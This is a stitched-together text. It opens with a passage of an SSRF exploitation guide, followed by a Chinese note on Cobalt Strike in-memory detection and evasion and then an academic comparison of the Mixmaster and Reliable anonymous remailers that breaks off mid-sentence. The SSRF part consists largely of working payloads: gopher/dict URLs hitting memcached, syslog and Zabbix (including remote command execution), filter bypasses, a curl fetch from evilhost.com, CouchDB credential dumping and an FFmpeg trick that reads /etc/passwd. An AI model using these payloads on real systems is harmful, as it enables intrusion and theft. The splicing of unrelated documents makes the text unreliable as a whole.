​$doc​­>​getElementsByTagName​(​"error"​)​­>​item​(​0​)​­>​nodeValue​;  if​(​libxml_get_errors​()​!=​null){  print_r​(​libxml_get_errors​())​;  }  ?>  10  Exploitation tricks  Bypassing restrictions  Basically restrictions which you may find in SSRF exploitation can be split into two groups:  ● Input validation (such as regular expression URL filter)  ● Network restrictions (firewalls rules)  Input validation  Unsafe redirect  Easy way to bypass input validation is URL redirection. HTTP clients not a browsers. There are normally to do unsafe redirect (except of Java case).  <?php  header(“Location: gopher://localhost:123/1asd”);  ?>  Works fine for cURL, LWP, ASP.NET (exploit: ​http://anyhostwithredirest.com/​ ­> gopher://localhost:11211/1stats%0aquit).  DNS pinning  To bypass domain validation you may simple use pinning technique.   For example, define A or AAAA records on your DNS server to your subdomains into victim’s intranet:  $ nslookup local.oxod.ru  Non­authoritative answer:  Name: local.oxod.ru  Address: ​127.0.0.1 <­ it’s intranet resource, but local.oxod.ru is also right domain name for input filters  PHP fsockopen() url parsing tricks  <?php  $host​ ​=​ ​'127.0.0.1'​;  $f​=​fsockopen​(​$host​,​80​)​;  …  11  But PHP will parse port from $host variable as a URL. For example: $host=”localhost:11211” overwrites hardcoded 80th port  from code to 11211. More interesting that following examples are also works:  $host for fsockopen($host,​80​); PHP sample  Resultant port of opened socket  localhost:11211  11211  localhost:11211aaaa  11211  localhost:+11211aaa  11211  localhost:   11211  11211  localhost:       11211  aaa  11211  localhost:00011211aaaa  11211  Fuzzing table for: ​E​host​A​:​B​port​C​ listed below:  Group  Values  A  0x2e, 0x5c? works only for some tests  B  0x09­0x0d, 0x20, 0x2b, 0x30, 0x85, 0xa0  C  0x00­0xff  E  0x5c  12  Network restrictions  Only one possible way at this moment consist of using open­redirect vulnerabilities and another SSRF in internal network.  13  Protocol fingerprinting  To determine which protocol accepted by target port you may use time­based determination in SSRF case. It is simple and stable. Send packets of protocol type that you want to test (fingerprint). Use packets so that the server for a long time did not close the socket.  Basically you can use nmap probes but some of them need to be modified for time­based case ( /usr/share/nmap/nmap­service­probes).  Also pay our attention to SSL probes and exploitation. There are no difference between SSL protocols such as HTTPS, IMAPS and others in terms of connection established. If you may inject CRLF into HTTPS packet (HTTP packet in SSL connection) you may exploit IMAPS and others SSL protocols.  Examples  HTTP  POST / HTTP/1.1  Host: localhost  Content­Length: 5  Server will wait last 5 bytes of request and socket still opened. Exploit: gopher://localhost:8001/1POST%20%2fHTTP%2f1.1%0d%0aHost:localhost%0d%0aContent­Length:5%0d%0a%0d%0a  Memcached  Any plain­text request without “quit” command, made all as you want. Exploit: curl ​http://localhost:11211/  14  Retrieving data  Often vulnerable application is written in such a way that the response to forged request can be read only if it is in certain format. It’s may be images, XML and others. To produce valid format from target response use concatenation techniques which provided, generally, by plain/text protocols.   This will be possible when the target service can process multiple requests in a single TCP packet (such as HTTP Keep­alive and others). Also should be able to inject target protocol delimiter in forged request (CRLF for HTTP, LF for most plain/text protocols).   First look at slides 33­37 of ​SSRF attack and sockets presentation​.  Examples  HTTP response encapsulation into XML formatted response  Vulnerable application listed above​. Exploit: ​http://d0znpp.blogspot.ru/2012/11/zeronights­hackquest­view­from­organizer.html  (404 ­  Not found). Please, keep in minds that using HTTP/0.9 provides you to get HTTP responses w/o HTTP headers. This  technique described in ​The Tangled Web​ book.  Console cURL wildcards URL responses concatenation  If SSRF provided by console cURL fork (not libcurl), you may use URL wildcards to sending many requests per 1 URL. All  responses of these requests will be concatenated together.  Exploit:  #curl​ ​http://evilhost.com/[1­3].php  Filename  Content  1.php  <?xml version=”1.0”?><valid­tag><![CDATA[   //valid header for readable format  2.php  <?php header(“gopher://localhost:11211/1stats%0aquit”);   //data to retrieve  ?>  3.php  ]]></valid­tag> //valid footer for readable format  15  SMBRelay exploitation  This technique described in related research “​SSRF + Java + Windows = Love​”. In case of Java­based application on OS  Windows target, attacker can execute an NTLM relay attack over HTTP. It’s possible because Java has an internal HTTP­client,  which supports NTLM authentication by default.  Original request data sniffing  In many cases there are useful to sniff data of initial request using SSRF. Its may be OAuth tokens, basic auth credential, POST bodies and others. This problem can be solved if you have the ability to modify the server's response. You must be influence the response from a one server, on receipt of a request from another server. It will look like open­redirect (WASC­38) or response splitting/smuggling (WASC­25, WASC­27), but there are server’s http library such as cURL instead of the user's browser.  307 HTTP status (Temporary Redirect Explained) and others can be used to retrieve original POST body.  Table of POST redirection:  Lib/Status  300  301  302  303  304  305  306  307  308  cURL  OK  ­  ­  ­  ­  OK  OK  OK  ­  LWP  ­  ­  ­  ­  ­  ­  ­  ­  ­  PHP  ­  ­  ­  ­  ­  ­  ­  ­  ­  16  Example​:  $url = "http://localhost/tests/redir.php?s={$_GET['s']}&r=http://localhost:8000/";  $ch = curl_init($url);  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  curl_setopt($ch, CURLOPT_POST, 1);  curl_setopt($ch, CURLOPT_POSTFIELDS, "key=secret");  $resp = curl_exec($ch);  You can steal “key=secret” data by using open redirect vulnerability with response statuses 300,305,306,307 or by http response splitting/http header injection vulnerabilities.  And there are no ways to steal secret in LWP case:  use strict; use warnings;   my $b=LWP::UserAgent­>new;   my $u='http://localhost/tests/redir.php?s=307&r=http://localhost:8000/a' ;  $b­>post($u,{'key'=>'secret'});  17  Examples  SSRF also open a gate to various NoSQL attacks such as ​Server­Side JavaScript injections​.  Memcached  Protocol documentation: ​https://github.com/memcached/memcached/blob/master/doc/protocol.txt  Exploitation steps:   1. collect all keys  2. determine interesting keys  3. replace key’s values to arbitrary  Exploitations techniques:  ● Find HTML templates and inject JS login sniffer to collect login/passwords  ● Find dynamic templates (macros, PHP, others) and inject arbitrary code (RCE)  ● Find your session and escalate your privileges  ● Create new session with long expiration and set admin privileges  Exploits  gopher://localhost:11211/1%0astats%0aquit  dict://locahost:11211/stats  ldap://localhost:11211/%0astats%0aquit  18  PHP­FPM  Exploit local installation to bypass restrictions such as safe_mode and others  http://pastebin.com/XP2BYmR7   Syslog  Typically UDP but really common listen on TCP port 514. You may add strings to syslog easily.  Exploit  http://string­that­you­want­to­add.evil.com:514/  First configure DNS to resolve string­that­you­want­to­add.evil.com as 127.0.0.1  HTTP request:  GET /a HTTP/1.1  Host: string­that­you­want­to­add.evil.com:8000  Connection: Keep­Alive  Syslog entities:  Nov 23 00:53:50 localhost Host: string­that­you­want­to­add.evil.com:8000#015  Nov 23 00:53:50 localhost Connection: Keep­Alive#015  Nov 23 00:53:50 localhost #015  CRLF injection make syslog entities more clear (see below).  Exploits  dict://localhost:514/ALARM!!!  ldap://localhost:514/\r\nALARM!!! (LWP only)  Syslog entities:  Nov 23 00:53:50 localhost ALARM!!!#015  19  Zabbix agentd  Zabbix is very common monitoring system. Monitored servers running zabbix_agentd binary which configured by /etc/zabbix/zabbix_agentd.conf file.   Default listened port is 10050. Zabbix agentd have only host­based authorization, described in config file:  Server=127.0.0.1,monitor.trusted.network.net  There are typically to include 127.0.0.1 into authorized servers by debugging reasons and by default.  Agentd protocol is plain/text and simple: “\n” using as line terminator and packet format is “item[key]”. All available items listed below: ​http://www.zabbix.com/documentation/1.8/manual/config/items​. Zabbix agentd close socket after first malformed line (request unexisting key for example). So you can’t use smuggling if first line of request is not controlled by you.  Sometimes agentd configured to run arbitrary commands from servers (item system.ru used to run commands from key argument):  EnableRemoteCommands=1  Exploits  gopher://localhost:10050/1vfs.file.regexp[/etc/hosts,7]  Server response:  ZBXD?127.0.0.1 localhost ads.localhost localhost.vv asd.localhost.vv  gopher://localhost:10050/1system.run[ls]  Server response:  ZBXD,usr  etc  var  boot  20  Postgres  Any functions which can open sockets and write user’s data into it can be exploited for SSRF. Such as functions to external database connections which provided by all modern databases (DB2/Oracle/Postgres/etc). Attacker may use this functions through SQL injection to exploit anything in intranet.   DBLINK desciption: ​http://www.postgresql.org/docs/8.4/static/dblink.html​. Syntax of connection string available here: http://www.postgresql.org/docs/8.4/static/libpq­connect.html   Exploits  SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'​\nstats\n​\' password=1 port=11211 sslmode=disable','select version();');  MongoDB  Attacker may use different internal functions, such as copyDatabase() and others to open arbitrary socket and puts arbitrary  data into it.   Exploits  Write binary data into socket:  > db.copyDatabase("​\1\2\3\4\5\6\7​",'test','localhost:8000')  $ nc ­l 8000 | hexdump ­C  00000000  3b 00 00 00 28 00 00 00  00 00 00 00 d4 07 00 00  |;...(...........|  00000010  00 00 00 00 ​01 02 03 04  05 06 07​ 2e 73 79 73 74  |............syst|  00000020  65 6d 2e 6e 61 6d 65 73  70 61 63 65 73 00 00 00  |em.namespaces...|  Communicate with memcached:  > db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)  21  CouchDB  CouchDB is really cool target for SSRF attacks. There are HTTP REST API which provide attacker to exploit it using only  valid HTTP requests without any smuggling. API details: ​http://wiki.apache.org/couchdb/Complete_HTTP_API_Reference​.  POST/PUT/DELETE requests may be forged also by smuggling techniques to execute server­side JS code for example.  Exploits  http://localhost:5984/_users/_all_docs​ to steal _users database with credentials:  HTTP/1.1 200 OK  Server: CouchDB/1.2.0 (Erlang OTP/R15B01)  ETag: "BD1WV12007V05JTG4X6YHIHCA"  Date: Tue, 18 Dec 2012 21:39:59 GMT  Content­Type: text/plain; charset=utf­8  Cache­Control: must­revalidate  {"total_rows":1,"offset":0,"rows":[  {"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1­a8cfb993654bcc635f126724d39eb930"}}  ]}  This example tested on debian stable installation from package without any additional configuration.  To execute server­side JS with restrictions (server­side JS is sandboxed, no network, IO nor access outside the provided  document and functions) you may use View API. This technique was described at BHUS11 in ​this paper ​for web­application based  injection. Read this first: ​http://wiki.apache.org/couchdb/HTTP_view_API  22  Attacker could also send requests from CouchDB server to intranet by using replication function  (​http://docs.couchdb.org/en/stable/api/server/common.html#replicate​).   POST http://couchdb:5984/_replicate  Content­Type: application/json  Accept: application/json  {      "source" : "recipes",      "target" : "http://ssrf­me:11211/recipes",  }  23  FFmpeg  M38u file format provides some useful macros called “EXTINF”. This macros allows attacker to read arbitrary files and  do SSRF attacks. Let’s look at some beautiful examples listed below:  $ cat video.mp4  #EXTM3U  #EXT­X­MEDIA­SEQUENCE:0  #EXTINF:10.0,  concat:http://example.org/header.y4m|file:///etc/passwd  #EXT­X­ENDLIST  $ ffmpeg ­i video.mp4 thumbnail.png  $ ffmpeg ­i thumbnail.png out.y4m  $ cat out.y4m  YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono  FRAME  # $FreeBSD: release/10.0.0/etc/master.passwd 256366  ,! 2013­10­12 06:08:18Z rpaulo $  #  root:*:0:0:Charlie &:/root:/usr/local/bin/zsh  toor:*:0:0:Bourne­again Superuser:/root:  Original link: ​https://bugs.launchpad.net/ubuntu/+source/ffmpeg/+bug/1533367   24  References  1. http://en.wikipedia.org/wiki/URI_scheme  2. http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers  3. http://msdn.microsoft.com/en­us/library/system.uri.scheme.aspx  4. http://search.cpan.org/~gaas/libwww­perl­6.04/lib/LWP.pm  5. http://php.net/manual/en/wrappers.php  6. http://docs.oracle.com/javase/1.5.0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.html  7. http://www.kernel.org/doc/man­pages/online/pages/man2/open.2.html   8. http://media.blackhat.com/bh­us­11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf   9. http://www.nostarch.com/download/tangledweb_ch3.pdf   Tools  1. https://github.com/ONsec­Lab/scripts/blob/master/list­open­fd.c   Researches   2 1. http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt   2. http://www.slideshare.net/d0znpp/xxe­advanced­exploitation   3. http://www.slideshare.net/d0znpp/caro2012­attack­largemodernwebapplications   4. http://media.blackhat.com/bh­us­12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf  5. http://erpscan.com/wp­content/uploads/2012/11/SSRF.2.0.poc_.pdf   6. http://www.riyazwalikar.com/2012/11/cross­site­port­attacks­xspa­part­2.html   7. http://www.slideshare.net/d0znpp/ssrf­attacks­and­sockets­smorgasbord­of­vulnerabilities   8. http://erpscan.com/press­center/smbrelay­bible­7­ssrf­java­windows­love/  9. https://bugs.launchpad.net/ubuntu/+source/ffmpeg/+bug/1533367   2 Sorted by date  25
pdf
我的CS笔记之- In-memory Evasion 1 0x00 前言 周末温习了一下2018年,CS的作者制作的In-memory Evasion的系列视频。这是视频以前也是看过的, 但是没有做笔记,现在很多细节都有点模糊了。学习一定要做笔记。 In-memory Evasion,主要有5个视频,作者传到youtube的不能开启自动英文识别字幕,于是我重新传 了一下https://www.youtube.com/watch?v=FeydRT3UTVE&list=PLI7tp5mNfPSbgSBc0VpCNh7t98vw JO0jv,可以开启英文字幕,作为一个会点哑巴英语的人,这个字幕真的拯救了我。目前国内技术资料比 以前是丰富了不少,但是质量也普遍堪忧,因此英文真的很重要。 言归正转,这5个视频其实可以分为4部分: 讲述常见的内存侦测手法(Memory Detections),目前来看比较初级了 讲述CS里一个Payload的完整执行流程(A Payload's Life) 怎么使用CS逃逸这些侦测手法(Evasions) 如何来模拟一个APT组织的样本(Threat Emulation) 人们常见说,”以攻促防“,但是作为公鸡队,要知道”未知防、焉知攻“,学习防御方的侦测手段,才能 更好的提升公鸡技术。 0x01 常见的侦测手法 作者主要使用process hacker这个工具,从进程、线程、内存入手,来侦测CS的payload,因为CS大量 使用反射DLL,实际上也就在内存中侦测这些反射dll。我们先来process hacker。打开process hacker,选中一个进程,查看属性,首先是进程的各种信息: 数字签名 命令行 当前目录 开始时间 PEB地址 父进程 保护策略 我们再看线程,线程中我们主要关注的是开始地址、和开始地址模块: Author: L.N. / Date: 2021-09-06 Produced by AttackTeamFamily No. 1 / 4 - Welcome to www.red-team.cn 最后就是内存,主要关注的还是基址、内存大小、内存权限(Read、Write、Execute)、内存作用 (堆、栈、PEB、文件....): 知道了这些,我们的侦测手法主要是3种: 线程开始地址 正常的线程开始地址,是有一个模块的。正常的DLL映射到内存中是有模块名称,而注入进去 的DLL就没有模块名称 Author: L.N. / Date: 2021-09-06 Produced by AttackTeamFamily No. 2 / 4 - Welcome to www.red-team.cn 内存权限 正常情况下,内存属性基本没有RWX的情况,RWX常常被公鸡工具使用 内存内容 这个比较常见,就是提权beacon.dll的一些特征,在内存中去匹配。常见的就是使用各种yara 规则。 匹配dos头、pe头 各种字符串 代码中的一些函数等等 内存检测工具主要分为2种模式: 一次性扫描,常见的就是一些溯源工具,蓝队同学使用这些工具在受害机器上快速寻找植入体 长久驻留的杀毒软件 有Agent长期驻留 事件驱动,有新进程、新线程启动的时候扫一扫 关联分析 主动防御 常见的侦测工具的侦测点: 反射注入侦测 MZ头 Author: L.N. / Date: 2021-09-06 Produced by AttackTeamFamily No. 3 / 4 - Welcome to www.red-team.cn RWX内存 内存没有和一个模块关联 Get-InjectedThread.ps1工具 线程开始地址没有和一个模块关联 LOKI工具 扫描文件用yara规则 0x02 总结 这个就是In-memory Evasion 1这个视频,主要是讲一些简单的进程、线程、内存的知识、以及process hacker的基本使用。然后就是cs在内存种的异常指标,以及检测这些异常的工具的原理。目前来会看, 是比较基础的内存侦测手法,万丈高楼从地起,扎实的地基非常重要。作者还推荐了一些其他资料: 书籍:The Art memory Forensics PPT:Advanced Attack Detection (william Burgess and Matt watkins) Author: L.N. / Date: 2021-09-06 Produced by AttackTeamFamily No. 4 / 4 - Welcome to www.red-team.cn
pdf
Comparison between two practical mix designs Claudia D´ıaz Len Sassaman Evelyne Dewitte Abstract We evaluate the anonymity provided by two popular email mix im- plementations, Mixmaster and Reliable, and compare their effectiveness through the use of simulations which model the algorithms used by these mixing applications. In order to draw accurate conclusions about the op- eration of these mixes, we use as our input to these simulations actual traffic data obtained from a public anonymous remailer (mix node). We determine that assumptions made in previous literature about the distri- bution of mix input traffic are incorrect, and our analysis of the input traffic shows that it follows no known distribution. We establish for the first time that a lower bound exists on the anonymity of Mixmaster, and discover that under certain circumstances the algorithm used by Reliable provides no anonymity. We find that the upper bound on anonymity pro- vided by Mixmaster is slightly higher than that provided by Reliable. We identify flaws in the software code in Reliable that further compromise its ability to provide anonymity, and review key areas which are necessary for the security of a mix in addition to a sound algorithm. Our analysis can be used to evaluate under which circumstances the two mixing al- gorithms should be utilized to best achieve anonymity and satisfy their purpose. Our work can also be used as a framework for establishing a security review process for mix node deployments. 1 Introduction The Internet was initially perceived as a rather anonymous environment. Nowa- days, we know that it can be a powerful surveillance tool: anyone willing to listen to the communication links can spy on Internet users, and search engines and data mining techniques are becoming increasingly powerful. Privacy does not only mean confidentiality of the information; it also means not revealing information about who is communicating with whom. Anonymous remailers (also called mixes) allow their users to send emails without disclosing the identity of the recipient to a third party. They also allow the sender of a message to stay anonymous to the recipient. The objective of this work is to have quantitative results on the anonymity actually provided by two mix software implementations in wide deployment, in order to test the actual anonymity provided to the users of the remailer service, and to compare the two different designs. We evaluate anonymity in a single- node context. In order to assess the anonymity provided by the entire remailer 1 network, additional considerations are necessary. As individual nodes are the basic component to the network of mixes, we aim to provide information to be considered when choosing this component. We have used as input real-life data gathered from a popular remailer, and simulated the behaviour of the mix. 2 Mixes Mixes are the essential building block to provide anonymous email services. A mix is a router that hides the relationship between incoming and outgoing mes- sages. The mix changes the appearance and the flow of the messages. In order to change the appearance of the messages the mix uses some techniques, such as padding and encryption, thus providing bitwise unlinkability between inputs and outputs. Techniques like reordering and delaying messages, and generating dummy traffic are used to modify the flow of messages. This modification of the traffic flow is needed to prevent timing attacks that could disclose the rela- tionship between an input and an output messages by looking at the time the message arrived to and left from the mix. The idea of mixes was introduced by Chaum [Cha81]. This first design was a threshold mix, a mix that collects a certain number of messages and then flushes them. Since then, variants on this first design have been proposed in the literature. In this paper, we focus on two practical mix designs that have been implemented and are part of the Mixmaster remailer network[Cot95], which has been providing anonymous email services since 1995. The first design is called “Mixmaster” (as the remailer network) because it is descended from the original software program designed by Cottrell [Cot, MCPS03]. The second design, called “Reliable”, uses a different reordering strategy. [RPr99] The details of the two remailers are explained in the following sections. We compare version 3.0 of the Mixmaster software and version 1.0.5 of Reliable. 2.1 Mixmaster Mixmaster1 is a pool mix. Pool mixes process the messages in batches. They collect messages for some time, place them in the pool (memory of the mix), and select some of them for flushing in random order when the flushing condition is fulfilled. Mixmaster is a timed mix which has a timeout of 15 minutes. During this period of time, it collects messages that are placed in the pool of the mix. When the timeout expires, the mix takes a number of messages from the pool that are forwarded to their next destination, which may be another mix or a final recipient. The algorithm that determines the number s of messages that 1Mixmaster version 3.0, as well as Reliable, also optionally support the older “Cypherpunk” remailer message format. For the purposes of this paper, we are assuming that the remailers are being operated without this support. As anonymity sets for the two protocols generally do not overlap, this does not impact our results. The Cypherpunk remailer protocol is known to contain numerous flaws, and should not be used if strong anonymity is required[Cot, DDM03]. 2 0 50 100 150 200 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1 P(n) function for Mixmaster in the GMM n P(n) Figure 1: Mixmaster in the GMM are sent in a round (one cycle of the mix) is a function of the number n of messages in the pool: if (n<45) s=0; else if (0.35*n < 45) s=n-45; else s=0.65*n; Mixmaster is represented in the generalised mix model proposed by D´ıaz and Serjantov [DS03b] as shown in figure 1. In this model, the mix is represented at the time of flushing. The function P(n) represents the probability of a message of being flushed by the mix, as a function of the number n of messages in the pool. Note that P(n) = s/n. 2.2 Reliable Reliable is based on the Stop-and-Go (SG Mix) mix proposed by Kesdogan et al. in [KEB98]. In SG mixes (also called continuous mixes), the users generate a random delay from an exponential distribution. The mix holds the message for the specified delay and then forwards it. The messages are reordered by the randomness of the delay distribution. This mix sends messages continuously: every time a message has been kept for the delay time it is sent by the mix. Reliable interoperates with Mixmaster on the protocol level by using the Mixmaster message format for packet transfer. Reliable uses a variant of the S-G Mix design. In Reliable, the delay may be chosen by the user from an exponential distribution of mean one hour. If the user does not provide any delay to the mix, then the mix itself picks a delay from a uniform distribution, being the maximum and minimum of the uniform one and four hours, respectively. Note that these parameters of the delay distributions are configurable, and therefore many remailer operators may set them lower in order to provide a faster service. 2.3 Dummy traffic A dummy message is a fake message introduced in the mix network in order to make it more difficult for an attacker to deploy attacks that can compromise 3 the anonymity of a message. The dummy message is normally produced by the mixes, and they select as destination another mix instead of a real recipient. Dummies are indistinguishable from real messages as they travel in the mix network. As they are introduced to prevent traffic analysis, the dummy policy should maximize the number of possible destinations for the messages flushed by the mix. Dummy traffic has an impact when analyzing the mix network as a whole. We have made measurements that show that the impact of dummies on the anonymity provided by a single mix is very small. In order to make the fair comparison of Mixmaster and Reliable easier, we have not taken into account the dummy policies of these two mixes in the results presented in this paper. Dummy policy of Mixmaster Every time a message is received by Mixmas- ter, an algorithm runs to generate d1 dummies that are inserted in the pool of the mix. The number d1 of dummies generated follow a geometrical distribution whose parameter has the default value of 1/10. Moreover, every time Mixmaster flushes messages, it generated a number d2 of dummies that are sent along with the messages. The number d2 of dummies follows a geometrical distribution whose parameter has the default value 1/30. Dummy policy of Reliable Reliable’s default dummy policy consists in generation 25 dummies every 6 hours. The time these dummies are kept in the mix is generated from a uniform distribution whose minimum value is 0 and maximum is 6 hours. 3 Anonymity metrics In this section we introduce the anonymity metrics for mixes. We remark on the particularities of some mix designs (binomial mixes and threshold mixes). Also, we present the attack model which we have considered. Anonymity was defined by Pfitzmann and K¨ohntopp [PK00] as “the state of being not identifiable within a set of subjects, the anonymity set”. The use of the information theoretical concept of entropy as a metric for anonymity was simultaneously proposed by Serjantov and Danezis in [SD02] and by D´ıaz et al. in [DSCP02]. The difference between the two models for measuring anonymity is that in [DSCP02] the entropy is normalized with respect to the number of users. In this paper we will use the non-normalized flavour of the metric. The anonymity provided by a mix can be computed for the incoming or for the outgoing messages. We call this sender anonymity and recipient anonymity. Sender anonymity. In order to compute the sender anonymity, we want to know the effective size of the anonymity set of senders for a message output by the mix. Therefore, we compute the entropy of the probability distribution that relates an outgoing message of the mix (the one for which we want to know the anonymity set size) with all the possible inputs. 4 Recipient anonymity. If we want to compute the effective recipient anonymity set size of an incoming message that goes through the mix, we have to compute the entropy of the probability distribution that relates the chosen input with all possible outputs. Note that in these two cases, the metric computes the anonymity of a partic- ular input or output message, it does not give a general value for a mix design and it is dependent on the traffic pattern. The advantage of this property is that mixes may offer information about the current anonymity they are provid- ing. The disadvantage is that it becomes very difficult to compare theoretically different mix designs. Nevertheless, it is possible to measure on real systems (or simulations) the anonymity obtained for a large number of messages and provide comparative statistics, as we do in this paper. In order to measure Mixmaster’s sender and recipient anonymity, we have applied the formulas provided by D´ıaz and Preneel in [DP04]. The anonymity of Reliable has been measured using the formulas presented in Appendix A. Note that we could not apply the method used by Kesdogan [KEB98] because we did not make any assumption on the distribution of the mix’s incoming traffic (Kesdogan assumes incoming Poisson traffic). 3.1 Attack model The anonymity metric computes the uncertainty about the sender or the re- cipient of a message, given that some information is available. In our case, we assume that the mix is observed by a passive attacker, who can see the incoming and outgoing messages of the mix. The attacker knows all internal parameters of the mix so he can effectively compute the anonymity set size for every incoming and outgoing message. 4 Simulators We have implemented Java simulators for Reliable and Mixmaster. We have fed the simulated mixes with real input, obtained by logging a timestamp every time a message arrived to a working Mixmaster node (note that the information we logged does not threaten the anonymity of the users of the mix). We have used four months of incoming traffic (July-November 2003) in order to obtain the results presented in Section 5. In order to make a fair comparison, we have set the mean of the exponential delay of Reliable (default 1 hour) to be the same as provided by Mixmaster for the given four months of input (43 minutes). We have assumed users choose their delays from an exponential distribution. The mix-chosen uniform delay option has not been taken into account, due to the unfeasibility of implementing algorithms that compute the anonymity for such a delay distribution without making assumptions on the traffic pattern, as explained in Appendix A. More- over, the choice of a uniform delay for the messages is completely non-standard. 5 The simulators log the delay and the anonymity for every message. Mixes are empty at the beginning of the simulation. The first message that is taken into account for the results is the one that arrives when the first input has been flushed with 99% probability. All messages flushed after the last arrival to the mix are also discarded for the results. This is done in order to eliminate the transitory initial and final phases. 5 Results In this section we present and analyze the results we have obtained with the simulations. 5.1 Analysis of the input traffic It is a common assumption in the literature that the arrivals to a mix node follow a Poisson process. We have analyzed the input traffic, and found that it does not follow a Poisson distribution, nor any other known distribution. A Poisson process is modeled by a single parameter λ representing the ex- pected amount of arrivals per (fixed) time interval. If the arrivals to a mix are assumed to follow a Poisson process with an average of λ arrivals per time interval ∆t and we denote the number of arrivals in such a time interval by X, then X is Poisson distributed with parameter λ: X ∼ Poiss(λ). Important to note is that λ is time-independent. In our statistical analysis we first assumed that the process of arrivals is a Poisson process and we estimated the parameter λ. The latter was done by taking the maximum likelihood estimate given the number of arrivals per time interval ∆t = 15 minutes (N = 11800). We also constructed a 95% confidence interval for this estimate. Then we performed a goodness-of-fit test: can we reject the hypothesis H0 : the number of arrivals per time interval ∼ Poiss(¯λ) , where ¯λ varies over the constructed confidence interval. The goodness-of-fit test we used is the well-known Chi-square test. Using a significance level of 0.01, the null hypothesis gets rejected! In the right part of figure 2 we show the number of messages arrived to the mix per hour. The left part (below) of figure 2 shows the evolution of the arrivals per day. We can observe that the traffic arrived to the mix during the first month is much heavier than in the following three months. This shows that the input traffic pattern that gets to a mix node is highly impredictable. Figure 3 shows the frequency in hours and in days of receiving a certain number of arrivals. We can see that in most of the hours the mix receives less than 20 messages. 6 0 50 100 150 200 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1 P(n) function for Mixmaster in the GMM n P(n) 0 500 1000 1500 2000 2500 3000 0 200 400 600 800 1000 1200 1400 1600 1800 hours Number of arrivals 0 20 40 60 80 100 120 140 0 2000 4000 6000 8000 10000 12000 14000 16000 18000 days Number of arrivals Figure 2: Incoming traffic patters 200 400 600 800 1000 1200 1400 0 200 400 600 800 1000 1200 1400 1600 1800 Number of arrivals Frequency (in hours) Binwidth = 20 2000 4000 6000 8000 10000 12000 14000 16000 0 10 20 30 40 50 60 70 80 Number of arrivals Frequency (in days) Binwidth = 500 Figure 3: Frequency analysis of inputs 7 0 100 200 300 400 500 600 0 5000 10000 15000 0 2 4 6 8 10 12 arrivals 3D plot for Recipient Anonimity per round delay Recipient Anonimity 0 100 200 300 400 500 600 0 5000 10000 15000 0 2 4 6 8 10 12 arrivals 3D plot for Sender Anonimity per round delay Sender Anonimity Figure 4: Recipient (left) and sender (right) anonymity for Mixmaster 5.2 Analysis of Mixmaster We have simulated a Mixmaster node as explained in Section 4. Mixmaster is a pool mix and processes messages in batches. The recipient anonymity of all inputs of a round is the same. Equivalently, all outputs of a round have the same sender anonymity value. In this section we show the results obtained in our simulation. In figure 4 we draw a point per round2, located in the space defined by the delay (amount of time the message spends on the mix), arrivals (number of inputs received by the mix together with the message) and recipient anonymity of the message. Figure 4 shows the same for sender anonymity. The first conclusion we come to when observing the figures is that there is a lower bound to the anonymity of Mixmaster. It is worth noting that, so far, we do not know any theoretical analysis of pool mixes able to predict the anonymity it provides, and prior to this analysis there were no figures on the anonymity that Mixmaster was actually providing. With this simulation, we can clearly see that Mixmaster guarantees a minimum sender and recipient anonymity of about 7. This means that the sender (recipient) of a message gets a minimum anonymity equivalent to perfect indistinguishability among 27 = 128 senders (recipients). We can see that the minimum anonymity is provided when the traffic (ar- rivals) is low. As the traffic increases, anonymity increases, getting maxi- mum values of about 10 (i.e., equivalent to perfect indistinguishability among 210 = 1024) senders or recipients. We also observe that the delay of the mes- sages doesn’t take hight values, unless the traffic load getting to the mix is very low. In order to study the behaviour of the mix under different traffic loads, we have plotted values of delay and anonymity obtained in the simulation for the 2In pool mixes all messages of the same incoming round have the same recipient anonymity, and all the messages of the same outgoing round have the same sender anonymity 8 0 0 50 100 150 200 250 300 350 400 450 500 Mixmaster: Delay values for rounds with low, medium and high traffic Low Traffic minutes of delay 0 0 50 100 150 200 250 300 350 400 450 500 Medium Traffic 0 0 50 100 150 200 250 300 350 400 450 500 High Traffic Figure 5: Delay values for Mixmaster rounds with few arrivals (low traffic), intermediate number of arrivals (medium traffic) and many arrivals (high traffic). We have selected the low, medium and high traffic taking into account the data statistics of the arrival process: Low traffic: all rounds where the number of arrivals was between the first and third quantile; hence 50 percent of the rounds are denoted as normal traffic. Medium traffic: all rounds where the number of arrivals was greater than the third quantile but lower than the outlier bound. High traffic: all rounds with outlier values for the incoming messages. In figure 5 we show the minutes of delay of every message. We can see that the delay only takes high values when the traffic is low. The fact that some messages appear as having a delay close to zero in the low traffic figure is due to the fact that we have more samples, so there are messages that arrive just before the flushing and are forwarded immediately. In figure 6 we show the recipient anonymity of every message (the sender anonymity presents very similar characteristics). We can see that as the traffic increases, the anonymity provided to the messages takes higher values. 5.3 Analysis of Reliable The theoretical method proposed in [KEB98] that gives a probabilistic pre- diction on the anonymity provided by Reliable is based on the assumption of Poisson traffic. As we have seen, this assumption is definitely not correct for mix traffic. We have simulated a Reliable mix as explained in Section 4. Reliable is a continuous (stop-and-go) mix. Reliable treats every message independently: 9 0 7 7.5 8 8.5 9 9.5 10 10.5 Low Traffic Sender Anonymity 0 7 7.5 8 8.5 9 9.5 10 10.5 Medium Traffic 0 7 7.5 8 8.5 9 9.5 10 10.5 High Traffic Figure 6: Anonymity values for Mixmaster Figure 7: Correlation Delay-Anonymity for Reliable when it gets a message it delays it a pre-determined amount of time (picked from an exponential distribution) and then forwards it. We represent a star, ’*’, per message. In figure 7 we present the sender and recipient anonymity provided by Re- liable for the real stream of inputs we have considered. We can see that the anonymity takes minimum values close to zero, which means that some of the messages can be trivially traced by a passive attacker. The maximum values of Reliable’s anonymity for this input are lower than Mixmaster’s maximums. Figure 8 shows the correlation of sender and recipient anonymity. These values are highly correlated (as in the case of Mixmaster). We can clearly see that some of the messages get nearly no anonymity. Figure 8: Correlation Sender-Recipient Anonymity for Reliable 10 5.4 Mixmaster vs. Reliable As we have shown in the previous two 